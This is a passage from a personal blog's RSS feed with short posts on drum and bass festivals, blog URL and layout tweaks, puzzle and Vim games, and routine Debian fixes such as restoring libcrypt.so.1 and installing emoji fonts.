  2309.    <category domain="https://blog.x-way.org/Music/">Music</category>
  2310.    <description><![CDATA[<p>No festival this weekend. Did some hiking with friends instead.</p>
  2311. <p>Last weekend I attended the <a href="https://www.subset-festival.com/" title="Subset Festival | Drum & Bass | Kempttal, Switzerland">Subset Festival</a>. It was the first edition of a new drum and bass focused festival.<br>There were some great artists there, most of them I knew before and was very much looking forward to see them live.</p>
  2312. <p>My favorite one was (unsurprisingly?) <a href="https://www.andromedik.com/" title="Andromedik">Andromedik</a>, but also liked <a href="https://hybridmindsmusic.com/" title="Hybrid Minds">Hybrid Minds</a>, <a href="http://netskymusic.com/" title="Netsky">Netsky</a> and <a href="https://www.andyc.cc/" title="ANDY C">Andy C</a>.<br>Very cool was that the festival was rather small, so felt quite intimate and super close to the artists.</p>
  2313. <p>Could post the same music video <a href="https://blog.x-way.org/Music/2024/09/05/Lost-Frequencies-The-Feeling.html" title="Lost Frequencies - The Feeling - x-log">as two weeks ago</a> (Andromedik's remix of The Feeling, which he said is a song very close to his heart), but you should also discover some other tracks.<br>Thus here we go with the recently released Paradise 🥳</p>
  2314. <p><a href="https://youtu.be/f0lFG63vSqc" title="Andromedik - Paradise (ft. Luka)">Andromedik - Paradise (ft. Luka)</a></p>
  2315. ]]></description>
  2316.    <content:encoded><![CDATA[<p>No festival this weekend. Did some hiking with friends instead.</p>
  2317. <p>Last weekend I attended the <a href="https://www.subset-festival.com/" title="Subset Festival | Drum & Bass | Kempttal, Switzerland">Subset Festival</a>. It was the first edition of a new drum and bass focused festival.<br>There were some great artists there, most of them I knew before and was very much looking forward to see them live.</p>
  2318. <p>My favorite one was (unsurprisingly?) <a href="https://www.andromedik.com/" title="Andromedik">Andromedik</a>, but also liked <a href="https://hybridmindsmusic.com/" title="Hybrid Minds">Hybrid Minds</a>, <a href="http://netskymusic.com/" title="Netsky">Netsky</a> and <a href="https://www.andyc.cc/" title="ANDY C">Andy C</a>.<br>Very cool was that the festival was rather small, so felt quite intimate and super close to the artists.</p>
  2319. <p>Could post the same music video <a href="https://blog.x-way.org/Music/2024/09/05/Lost-Frequencies-The-Feeling.html" title="Lost Frequencies - The Feeling - x-log">as two weeks ago</a> (Andromedik's remix of The Feeling, which he said is a song very close to his heart), but you should also discover some other tracks.<br>Thus here we go with the recently released Paradise 🥳</p>
  2320. <p><a href="https://youtu.be/f0lFG63vSqc" title="Andromedik - Paradise (ft. Luka)">Andromedik - Paradise (ft. Luka)</a></p>
  2321. ]]></content:encoded>
  2322.  </item>
  2323.  
  2324.  <item>
  2325.    <title>Simplified archive links</title>
  2326.    <link>https://blog.x-way.org/Misc/2024/09/19/Simplified-archive-links.html</link>
  2327.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324402</guid>
  2328.    <dc:creator>Andreas Jaggi</dc:creator>
  2329.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2330.    <pubDate>Thu, 19 Sep 2024 23:07:06 +0200</pubDate>
  2331.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2332.    <description><![CDATA[<p>Building up on the changes from the <a href="https://blog.x-way.org/Webdesign/2024/09/14/Canonical-hints.html" title="Canonical hints - x-log">canonical hints</a>, I simplified the structure of the archive links.<p>
  2333. <p>Now it's <var>/year/month/</var> everywhere.<br>Which of course brings another round of redirects to support in the nginx config to map the <var>/archive/archive-year-month.html</var> links to <var>/year/month/</var> 🙈</p>
  2334. <p>In theory all previous link schemes should still work, but if you find a broken link, please let me know :-)</p>
  2335. ]]></description>
  2336.    <content:encoded><![CDATA[<p>Building up on the changes from the <a href="https://blog.x-way.org/Webdesign/2024/09/14/Canonical-hints.html" title="Canonical hints - x-log">canonical hints</a>, I simplified the structure of the archive links.<p>
  2337. <p>Now it's <var>/year/month/</var> everywhere.<br>Which of course brings another round of redirects to support in the nginx config to map the <var>/archive/archive-year-month.html</var> links to <var>/year/month/</var> 🙈</p>
  2338. <p>In theory all previous link schemes should still work, but if you find a broken link, please let me know :-)</p>
  2339. ]]></content:encoded>
  2340.  </item>
  2341.  
  2342.  <item>
  2343.    <title>Canonical hints</title>
  2344.    <link>https://blog.x-way.org/Webdesign/2024/09/14/Canonical-hints.html</link>
  2345.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324401</guid>
  2346.    <dc:creator>Andreas Jaggi</dc:creator>
  2347.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2348.    <pubDate>Sat, 14 Sep 2024 11:44:10 +0200</pubDate>
  2349.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2350.    <description><![CDATA[<p>To help regular search engines be less confused about the various pages of the blog (especially multiple generations of old inherited URL schemes), I added canonical hints to some pages.</p>
  2351. <p>Mostly straight-forward, except for the archives where I chose the concise <var>/year/month/</var> scheme instead of the full <var>/archive/archive-year-month.html</var>.<br>Curious to see how this works out. Currently the links in the navigation and overview point to the full URLs, and the short ones are only implemented with rewrites in nginx and visible in the canonical hints.</p>
  2352. ]]></description>
  2353.    <content:encoded><![CDATA[<p>To help regular search engines be less confused about the various pages of the blog (especially multiple generations of old inherited URL schemes), I added canonical hints to some pages.</p>
  2354. <p>Mostly straight-forward, except for the archives where I chose the concise <var>/year/month/</var> scheme instead of the full <var>/archive/archive-year-month.html</var>.<br>Curious to see how this works out. Currently the links in the navigation and overview point to the full URLs, and the short ones are only implemented with rewrites in nginx and visible in the canonical hints.</p>
  2355. ]]></content:encoded>
  2356.  </item>
  2357.  
  2358.  <item>
  2359.    <title>How to fix missing libcrypt.so.1 after Debian upgrade</title>
  2360.    <link>https://blog.x-way.org/Linux/2024/09/14/How-to-fix-missing-libcrypt-so-1-after-Debian-upgrade.html</link>
  2361.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324400</guid>
  2362.    <dc:creator>Andreas Jaggi</dc:creator>
  2363.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2364.    <pubDate>Sat, 14 Sep 2024 06:12:04 +0200</pubDate>
  2365.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2366.    <description><![CDATA[<p>I encountered an old Debian system and tried to upgrade it from Debian 10 (buster) to Debian 12 (bookworm).<br>During the <kbd>apt-get dist-upgrade</kbd> it did run into a problem, where libcrypt.so.1 was removed and the upgrade failed to continue.<br>Additionally this caused that <kbd>dpkg</kbd> itself also stopped working and that sshd stopped accepting new connections.<br>Thus fixing the following error became urgent:</p>
  2367. <pre>/usr/bin/python3: error while loading shared libraries: libcrypt.so.1: cannot open shared object file: No such file or directory</pre>
  2368. <p>Luckily I was not the first person to run into this issue.<br>In <a href="https://stackoverflow.com/questions/76906383/libcrypt-so-1-error-after-dist-update-on-debian/77957251#77957251" title="upgrade - Libcrypt.so.1 error after dist-update on Debian - Stack Overflow">a Stack Overflow answer</a> I found the crucial workaround taken from <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=993755#27" title="#993755 - libcrypt.so.1: cannot open shared object file when upgrading from Stretch to Sid - Debian Bug report logs">a comment on the corresponding Debian bugreport</a>.<br>The following steps allow to manually install a copy of the missing libcrypt.so files to fix the issue (when running this you might have a newer version of the package at hand, thus adjust the <kbd>dpkg-deb</kbd> step accordingly):</p>
  2369. <pre>
  2370. cd /tmp
  2371. apt -y download libcrypt1
  2372. dpkg-deb -x libcrypt1_1%3a4.4.33-2_amd64.deb .
  2373. cp -av lib/x86_64-linux-gnu/* /lib/x86_64-linux-gnu/
  2374. apt -y --fix-broken install
  2375. </pre>
  2376. ]]></description>
  2377.    <content:encoded><![CDATA[<p>I encountered an old Debian system and tried to upgrade it from Debian 10 (buster) to Debian 12 (bookworm).<br>During the <kbd>apt-get dist-upgrade</kbd> it did run into a problem, where libcrypt.so.1 was removed and the upgrade failed to continue.<br>Additionally this caused that <kbd>dpkg</kbd> itself also stopped working and that sshd stopped accepting new connections.<br>Thus fixing the following error became urgent:</p>
  2378. <pre>/usr/bin/python3: error while loading shared libraries: libcrypt.so.1: cannot open shared object file: No such file or directory</pre>
  2379. <p>Luckily I was not the first person to run into this issue.<br>In <a href="https://stackoverflow.com/questions/76906383/libcrypt-so-1-error-after-dist-update-on-debian/77957251#77957251" title="upgrade - Libcrypt.so.1 error after dist-update on Debian - Stack Overflow">a Stack Overflow answer</a> I found the crucial workaround taken from <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=993755#27" title="#993755 - libcrypt.so.1: cannot open shared object file when upgrading from Stretch to Sid - Debian Bug report logs">a comment on the corresponding Debian bugreport</a>.<br>The following steps allow to manually install a copy of the missing libcrypt.so files to fix the issue (when running this you might have a newer version of the package at hand, thus adjust the <kbd>dpkg-deb</kbd> step accordingly):</p>
  2380. <pre>
  2381. cd /tmp
  2382. apt -y download libcrypt1
  2383. dpkg-deb -x libcrypt1_1%3a4.4.33-2_amd64.deb .
  2384. cp -av lib/x86_64-linux-gnu/* /lib/x86_64-linux-gnu/
  2385. apt -y --fix-broken install
  2386. </pre>
  2387. ]]></content:encoded>
  2388.  </item>
  2389.  
  2390.  <item>
  2391.    <title>Flexboxed archive</title>
  2392.    <link>https://blog.x-way.org/Webdesign/2024/09/10/Flexboxed-archive.html</link>
  2393.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324398</guid>
  2394.    <dc:creator>Andreas Jaggi</dc:creator>
  2395.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2396.    <pubDate>Tue, 10 Sep 2024 09:57:35 +0200</pubDate>
  2397.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  2398.    <description><![CDATA[<p>Applied the <a href="https://css-tricks.com/snippets/css/a-guide-to-flexbox/" title="CSS Flexbox Layout Guide | CSS-Tricks">CSS flexbox mechanism</a> to the <a href="https://blog.x-way.org/archive/" title="x-log - Archive">archive page</a>.<br>This helps to transform the steadily growing lists of monthly archive links into a more userfriendly layout, going from a single column to eight columns and bringing all the links above 'the fold'.</p>
  2399. ]]></description>
  2400.    <content:encoded><![CDATA[<p>Applied the <a href="https://css-tricks.com/snippets/css/a-guide-to-flexbox/" title="CSS Flexbox Layout Guide | CSS-Tricks">CSS flexbox mechanism</a> to the <a href="https://blog.x-way.org/archive/" title="x-log - Archive">archive page</a>.<br>This helps to transform the steadily growing lists of monthly archive links into a more userfriendly layout, going from a single column to eight columns and bringing all the links above 'the fold'.</p>
  2401. ]]></content:encoded>
  2402.  </item>
  2403.  
  2404.  <item>
  2405.    <title>Another weekend, another festival</title>
  2406.    <link>https://blog.x-way.org/Music/2024/09/08/Another-weekend-another-festival.html</link>
  2407.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324397</guid>
  2408.    <dc:creator>Andreas Jaggi</dc:creator>
  2409.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2410.    <pubDate>Sun, 08 Sep 2024 11:06:45 +0200</pubDate>
  2411.    <category domain="https://blog.x-way.org/Music/">Music</category>
  2412.    <description><![CDATA[<p>I'm continueing my festival summer also this weekend. Yesterday I've attended the <a href="https://www.simmentalerbier.ch/festival/" title="Festival - Simmentaler Bier">Simmentaler Bier Festival</a>, which celebrates the 10 year anniversary of the <a href="https://www.simmentalerbier.ch/" title="Simmental Bier">Simmentaler Bier</a> brewery.</p>
  2413. <p>The festivities included some fine music from far away and not so far away.<br><a href="https://www.rooftopsailors.com/" title="Rooftop Sailors | Alternative Rock | Bern">Rooftop Sailors</a> opened the afternoon with their refreshing rock music.<br>Then came my favorite, <a href="https://www.openseason.ch/" title="Open Season">Open Season</a>, which was a nostalgy throwback as I was <a href="https://blog.x-way.org/Misc/2002/09/30/Stress_-_Ferienbeginn.html" title="x-log - Stress - Ferienbeginn">attending their concerts already 22 years ago</a> ❤️<br>Last band of the day was <a href="http://www.delinquenthabits.com/" title="Delinquent Official website &#8211; Delinquentes Para El Frente">Delinquent Habits</a>, which brought their habit from LA to serve the public Tequila shots during the concert.</p>
  2414. <p><a href="https://youtu.be/lo0arkyebdc" title="Open Season - Rocksteady">Open Season - Rocksteady</a></p>
  2415. ]]></description>
  2416.    <content:encoded><![CDATA[<p>I'm continueing my festival summer also this weekend. Yesterday I've attended the <a href="https://www.simmentalerbier.ch/festival/" title="Festival - Simmentaler Bier">Simmentaler Bier Festival</a>, which celebrates the 10 year anniversary of the <a href="https://www.simmentalerbier.ch/" title="Simmental Bier">Simmentaler Bier</a> brewery.</p>
  2417. <p>The festivities included some fine music from far away and not so far away.<br><a href="https://www.rooftopsailors.com/" title="Rooftop Sailors | Alternative Rock | Bern">Rooftop Sailors</a> opened the afternoon with their refreshing rock music.<br>Then came my favorite, <a href="https://www.openseason.ch/" title="Open Season">Open Season</a>, which was a nostalgy throwback as I was <a href="https://blog.x-way.org/Misc/2002/09/30/Stress_-_Ferienbeginn.html" title="x-log - Stress - Ferienbeginn">attending their concerts already 22 years ago</a> ❤️<br>Last band of the day was <a href="http://www.delinquenthabits.com/" title="Delinquent Official website &#8211; Delinquentes Para El Frente">Delinquent Habits</a>, which brought their habit from LA to serve the public Tequila shots during the concert.</p>
  2418. <p><a href="https://youtu.be/lo0arkyebdc" title="Open Season - Rocksteady">Open Season - Rocksteady</a></p>
  2419. ]]></content:encoded>
  2420.  </item>
  2421.  
  2422.  <item>
  2423.    <title>Lost Frequencies - The Feeling</title>
  2424.    <link>https://blog.x-way.org/Music/2024/09/05/Lost-Frequencies-The-Feeling.html</link>
  2425.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324396</guid>
  2426.    <dc:creator>Andreas Jaggi</dc:creator>
  2427.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2428.    <pubDate>Thu, 05 Sep 2024 21:07:29 +0200</pubDate>
  2429.    <category domain="https://blog.x-way.org/Music/">Music</category>
  2430.    <description><![CDATA[<p>One of my favorite moments from the second weekend of <a href="https://zurichopenair.ch/" title="ZÜRICH OPENAIR 2024">ZÜRICH OPENAIR 2024</a>: the concert of <a href="https://lostfrequencies.com/" title="Lost Frequencies">Lost Frequencies</a>, especially the drum&amp;bass live performance of The Feeling 🥳</p>
  2431. <p><a href="https://youtu.be/hlRwWLiuNXc" title="Lost Frequencies - The Feeling (Lost Frequencies &amp; Andromedik Deluxe Mix)">Lost Frequencies - The Feeling (Lost Frequencies &amp; Andromedik Deluxe Mix)</a></p>
  2432. ]]></description>
  2433.    <content:encoded><![CDATA[<p>One of my favorite moments from the second weekend of <a href="https://zurichopenair.ch/" title="ZÜRICH OPENAIR 2024">ZÜRICH OPENAIR 2024</a>: the concert of <a href="https://lostfrequencies.com/" title="Lost Frequencies">Lost Frequencies</a>, especially the drum&amp;bass live performance of The Feeling 🥳</p>
  2434. <p><a href="https://youtu.be/hlRwWLiuNXc" title="Lost Frequencies - The Feeling (Lost Frequencies &amp; Andromedik Deluxe Mix)">Lost Frequencies - The Feeling (Lost Frequencies &amp; Andromedik Deluxe Mix)</a></p>
  2435. ]]></content:encoded>
  2436.  </item>
  2437.  
  2438.  <item>
  2439.    <title>Added a /now page</title>
  2440.    <link>https://blog.x-way.org/Misc/2024/09/03/Added-a-now-page.html</link>
  2441.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324395</guid>
  2442.    <dc:creator>Andreas Jaggi</dc:creator>
  2443.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2444.    <pubDate>Tue, 03 Sep 2024 06:59:44 +0200</pubDate>
  2445.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2446.    <description><![CDATA[<p>Finally took the time to create a <a href="https://nownownow.com/about" title="What is a 'now page'?">/now page</a> and add it to the blog: <a href="https://blog.x-way.org/now" title="x-log - What I'm doing now">/now</a> 🎉
  2447. <p>Still need to figure out if it will eventually replace the <a href="https://blog.x-way.org/about.html" title="x-log - About">about page</a> or not.<br>
  2448. For now the about page links to the now page.</p>
  2449. ]]></description>
  2450.    <content:encoded><![CDATA[<p>Finally took the time to create a <a href="https://nownownow.com/about" title="What is a 'now page'?">/now page</a> and add it to the blog: <a href="https://blog.x-way.org/now" title="x-log - What I'm doing now">/now</a> 🎉
  2451. <p>Still need to figure out if it will eventually replace the <a href="https://blog.x-way.org/about.html" title="x-log - About">about page</a> or not.<br>
  2452. For now the about page links to the now page.</p>
  2453. ]]></content:encoded>
  2454.  </item>
  2455.  
  2456.  <item>
  2457.    <title>Get the PGP public key of a Proton Mail user</title>
  2458.    <link>https://blog.x-way.org/Misc/2024/09/02/Get-the-PGP-public-key-of-a-Proton-Mail-user.html</link>
  2459.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324394</guid>
  2460.    <dc:creator>Andreas Jaggi</dc:creator>
  2461.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2462.    <pubDate>Mon, 02 Sep 2024 16:22:43 +0200</pubDate>
  2463.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2464.    <description><![CDATA[<p><a href="https://proton.me/mail" title="Proton Mail: Get a private, secure, and encrypted email account | Proton">Proton Mail</a> can sign (and encrypt) emails when it knows the PGP key of the correspondent. For this is provides PGP keys to its users.<br>Unfortunately most of them are not searchable via the traditional PGP keyservers. With the following command you can download the public PGP key of a Proton Mail user:</p>
  2465. <pre>curl -s 'https://api.protonmail.ch/pks/lookup?op=get&amp;search=user@protonmail.com'</pre>
  2466. <p>Also, just discovered that <a href="https://gpgtools.org/" title="GPG Suite">GPG Keychain on Mac</a> detects if the clipboard contains a PGP key and asks if it should import it. Very nice feature which saves a couple clicks :-)</p>
  2467. ]]></description>
  2468.    <content:encoded><![CDATA[<p><a href="https://proton.me/mail" title="Proton Mail: Get a private, secure, and encrypted email account | Proton">Proton Mail</a> can sign (and encrypt) emails when it knows the PGP key of the correspondent. For this is provides PGP keys to its users.<br>Unfortunately most of them are not searchable via the traditional PGP keyservers. With the following command you can download the public PGP key of a Proton Mail user:</p>
  2469. <pre>curl -s 'https://api.protonmail.ch/pks/lookup?op=get&amp;search=user@protonmail.com'</pre>
  2470. <p>Also, just discovered that <a href="https://gpgtools.org/" title="GPG Suite">GPG Keychain on Mac</a> detects if the clipboard contains a PGP key and asks if it should import it. Very nice feature which saves a couple clicks :-)</p>
  2471. ]]></content:encoded>
  2472.  </item>
  2473.  
  2474.  <item>
  2475.    <title>Regex Crosswords</title>
  2476.    <link>https://blog.x-way.org/Coding/2024/09/01/Regex-Crosswords.html</link>
  2477.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324393</guid>
  2478.    <dc:creator>Andreas Jaggi</dc:creator>
  2479.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2480.    <pubDate>Sun, 01 Sep 2024 21:34:09 +0200</pubDate>
  2481.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  2482.    <description><![CDATA[<p>Thanks to <a href="https://news.ycombinator.com/item?id=41378002" title="Regex Crossword | Hacker News">this post on Hacker News</a>, I was reminded of the joy of regex crosswords :-)</p>
  2483. <p>Nice to see that the <a href="https://regexcrossword.com/" title="Regex Crossword">regexcrossword.com site</a> has gained quite a list of puzzles and challenges since <a href="https://blog.x-way.org/Coding/2014/11/30/Regex-Crossword.html" title="Regex Crossword - x-log">the last time I blogged about it</a>.</p>
  2484. <p>Also very cool is the <a href="https://jimbly.github.io/regex-crossword/" title="RegEx Crossword">RegEx Crossword</a> project of <a href="https://github.com/Jimbly" title="Jimb Esser">Jimb Esser</a>, which provides a very smooth interface for solving hexagonal regex crosswords in the browser.<br>I remember solving the original MIT hexagonal regex crossword on paper back in the time.</p>
  2485. <p>And in addition there is a built-in editor which allows you to create your own hexagonal regex crosswords.<br>Thinking of using this to create some fun puzzle for the colleagues at work.</p>
  2486. ]]></description>
  2487.    <content:encoded><![CDATA[<p>Thanks to <a href="https://news.ycombinator.com/item?id=41378002" title="Regex Crossword | Hacker News">this post on Hacker News</a>, I was reminded of the joy of regex crosswords :-)</p>
  2488. <p>Nice to see that the <a href="https://regexcrossword.com/" title="Regex Crossword">regexcrossword.com site</a> has gained quite a list of puzzles and challenges since <a href="https://blog.x-way.org/Coding/2014/11/30/Regex-Crossword.html" title="Regex Crossword - x-log">the last time I blogged about it</a>.</p>
  2489. <p>Also very cool is the <a href="https://jimbly.github.io/regex-crossword/" title="RegEx Crossword">RegEx Crossword</a> project of <a href="https://github.com/Jimbly" title="Jimb Esser">Jimb Esser</a>, which provides a very smooth interface for solving hexagonal regex crosswords in the browser.<br>I remember solving the original MIT hexagonal regex crossword on paper back in the time.</p>
  2490. <p>And in addition there is a built-in editor which allows you to create your own hexagonal regex crosswords.<br>Thinking of using this to create some fun puzzle for the colleagues at work.</p>
  2491. ]]></content:encoded>
  2492.  </item>
  2493.  
  2494.  <item>
  2495.    <title>Vim Racer</title>
  2496.    <link>https://blog.x-way.org/Linux/2024/08/26/Vim-Racer.html</link>
  2497.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324392</guid>
  2498.    <dc:creator>Andreas Jaggi</dc:creator>
  2499.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2500.    <pubDate>Mon, 26 Aug 2024 22:46:40 +0200</pubDate>
  2501.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2502.    <description><![CDATA[<p><a href="https://vim-racer.com/" title="Vim Racer - An Online Game for VIM Navigation">Vim Racer</a> is a fun game to show off your <kbd>vi</kbd> skills 🚀<br>(also insightful to explore the leaderboard and see which commands were used by others)</p>
  2503. <p><img src="https://blog.x-way.org/images/vim-racer.webp" alt="Vim Racer" height="327" width="506"></p>
  2504. ]]></description>
  2505.    <content:encoded><![CDATA[<p><a href="https://vim-racer.com/" title="Vim Racer - An Online Game for VIM Navigation">Vim Racer</a> is a fun game to show off your <kbd>vi</kbd> skills 🚀<br>(also insightful to explore the leaderboard and see which commands were used by others)</p>
  2506. <p><img src="https://blog.x-way.org/images/vim-racer.webp" alt="Vim Racer" height="327" width="506"></p>
  2507. ]]></content:encoded>
  2508.  </item>
  2509.  
  2510.  <item>
  2511.    <title>Artemas - I Like the Way You Kiss Me (Bassjackers Remix)</title>
  2512.    <link>https://blog.x-way.org/Music/2024/08/25/Artemas-I-Like-the-Way-You-Kiss-Me-Bassjackers-Remix.html</link>
  2513.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324391</guid>
  2514.    <dc:creator>Andreas Jaggi</dc:creator>
  2515.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2516.    <pubDate>Sun, 25 Aug 2024 23:54:45 +0200</pubDate>
  2517.    <category domain="https://blog.x-way.org/Music/">Music</category>
  2518.    <description><![CDATA[<p>Catchy memory from the first weekend of <a href="https://zurichopenair.ch/" title="ZÜRICH OPENAIR 2024">ZÜRICH OPENAIR 2024</a>: <a href="https://www.arminvanbuuren.com/" title="Armin van Buuren">Armin van Buuren</a>'s version of <a href="https://en.wikipedia.org/wiki/I_Like_the_Way_You_Kiss_Me" title="I Like the Way You Kiss Me - Wikipedia">Artemas - I Like the Way You Kiss Me</a>, which is very similar to the Bassjackers Remix 🔊</p>
  2519. <p><a href="https://youtu.be/cvkjzWawH4c" title="Artemas - I Like the Way You Kiss Me (Bassjackers Remix)">Artemas - I Like the Way You Kiss Me (Bassjackers Remix)</a></p>
  2520. ]]></description>
  2521.    <content:encoded><![CDATA[<p>Catchy memory from the first weekend of <a href="https://zurichopenair.ch/" title="ZÜRICH OPENAIR 2024">ZÜRICH OPENAIR 2024</a>: <a href="https://www.arminvanbuuren.com/" title="Armin van Buuren">Armin van Buuren</a>'s version of <a href="https://en.wikipedia.org/wiki/I_Like_the_Way_You_Kiss_Me" title="I Like the Way You Kiss Me - Wikipedia">Artemas - I Like the Way You Kiss Me</a>, which is very similar to the Bassjackers Remix 🔊</p>
  2522. <p><a href="https://youtu.be/cvkjzWawH4c" title="Artemas - I Like the Way You Kiss Me (Bassjackers Remix)">Artemas - I Like the Way You Kiss Me (Bassjackers Remix)</a></p>
  2523. ]]></content:encoded>
  2524.  </item>
  2525.  
  2526.  <item>
  2527.    <title>Reading</title>
  2528.    <link>https://blog.x-way.org/Misc/2024/08/24/Reading.html</link>
  2529.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324390</guid>
  2530.    <dc:creator>Andreas Jaggi</dc:creator>
  2531.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2532.    <pubDate>Sat, 24 Aug 2024 12:38:14 +0200</pubDate>
  2533.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2534.    <description><![CDATA[<p>Added the <a href="https://blog.x-way.org/reading" title="x-log - Reading">/reading</a> page to the blog to keep a list of various books I'm currently reading.</p>
  2535. <p>It is very bare-bones currently, I expect over time it will grow (both in number of books and also in amount of content, such as ratings, links and commentary).<br>Might take a while, stay tuned 🤓</p>
  2536. ]]></description>
  2537.    <content:encoded><![CDATA[<p>Added the <a href="https://blog.x-way.org/reading" title="x-log - Reading">/reading</a> page to the blog to keep a list of various books I'm currently reading.</p>
  2538. <p>It is very bare-bones currently, I expect over time it will grow (both in number of books and also in amount of content, such as ratings, links and commentary).<br>Might take a while, stay tuned 🤓</p>
  2539. ]]></content:encoded>
  2540.  </item>
  2541.  
  2542.  <item>
  2543.    <title>Lucie Antunes - Carnaval</title>
  2544.    <link>https://blog.x-way.org/Music/2024/08/12/Lucie-Antunes-Carnaval.html</link>
  2545.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324389</guid>
  2546.    <dc:creator>Andreas Jaggi</dc:creator>
  2547.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2548.    <pubDate>Mon, 12 Aug 2024 19:04:58 +0200</pubDate>
  2549.    <category domain="https://blog.x-way.org/Music/">Music</category>
  2550.    <description><![CDATA[<p>Amazing discovery from the recent <a href="https://yeah.paleo.ch/" title="Paléo Festival">Paléo Festival</a>: <a href="https://infine-music.com/lucie-antunes/" title="Lucie Antunes">Lucie Antunes</a></p>
  2551. <p><a href="https://youtu.be/EoRLWBC_Y2o" title="Lucie Antunes - Carnaval - YouTube">Lucie Antunes - Carnaval</a></p>
  2552. ]]></description>
  2553.    <content:encoded><![CDATA[<p>Amazing discovery from the recent <a href="https://yeah.paleo.ch/" title="Paléo Festival">Paléo Festival</a>: <a href="https://infine-music.com/lucie-antunes/" title="Lucie Antunes">Lucie Antunes</a></p>
  2554. <p><a href="https://youtu.be/EoRLWBC_Y2o" title="Lucie Antunes - Carnaval - YouTube">Lucie Antunes - Carnaval</a></p>
  2555. ]]></content:encoded>
  2556.  </item>
  2557.  
  2558.  <item>
  2559.    <title>Fix missing emoji in Chrome on Linux</title>
  2560.    <link>https://blog.x-way.org/Linux/2024/08/11/Fix-missing-emoji-in-Chrome-on-Linux.html</link>
  2561.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324388</guid>
  2562.    <dc:creator>Andreas Jaggi</dc:creator>
  2563.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2564.    <pubDate>Sun, 11 Aug 2024 15:39:42 +0200</pubDate>
  2565.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  2566.    <description><![CDATA[<p>Not seeing any emoji in Chrome on Linux?<br>The following fixed it for me on Debian.</p>
  2567. <pre>sudo apt-get install fonts-noto-color-emoji
  2568. fc-cache -f -v</pre>
  2569. <p>Afterwards restart Chrome and enjoy the colorful emoji 🥳</p>
  2570. ]]></description>
  2571.    <content:encoded><![CDATA[<p>Not seeing any emoji in Chrome on Linux?<br>The following fixed it for me on Debian.</p>
  2572. <pre>sudo apt-get install fonts-noto-color-emoji
  2573. fc-cache -f -v</pre>
  2574. <p>Afterwards restart Chrome and enjoy the colorful emoji 🥳</p>
  2575. ]]></content:encoded>
  2576.  </item>
  2577.  
  2578.  <item>
  2579.    <title>Praise my GitHub profile!</title>
  2580.    <link>https://blog.x-way.org/Misc/2024/08/11/Praise-my-GitHub-profile.html</link>
  2581.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324387</guid>
  2582.    <dc:creator>Andreas Jaggi</dc:creator>
  2583.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  2584.    <pubDate>Sun, 11 Aug 2024 14:23:46 +0200</pubDate>
  2585.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  2586.    <description><![CDATA[<blockquote cite="https://pony.social/@cadey/112904542715285506"><p>Instead of using AI tools to tear people down, what if we used them to uplift others? Introducing Praise my GitHub profile:</p>
  2587. <p><a href="https://web.archive.org/web/20240810091216/https://praise-me.fly.dev/" title="Praise my GitHub profile! (archive.org)">https://praise-me.fly.dev/</a></p></blockquote>
  2588. <p><a href="https://xeiaso.net/" title="Xe Iaso">Xe Iaso</a> made this cool tool, which creates happiness ❤️</p>
  2589. <img src="https://blog.x-way.org/images/praise-my-github-profile.webp" width="546" height="484" alt="Praise my GitHub profile!
  2590. x-way
  2591.  
  2592. Andreas, I just wanted to take a moment to acknowledge the incredible work you're doing on GitHub! With 55 followers and 98 accounts you're following, it's clear that you're an active and engaged member of this community.
  2593.  
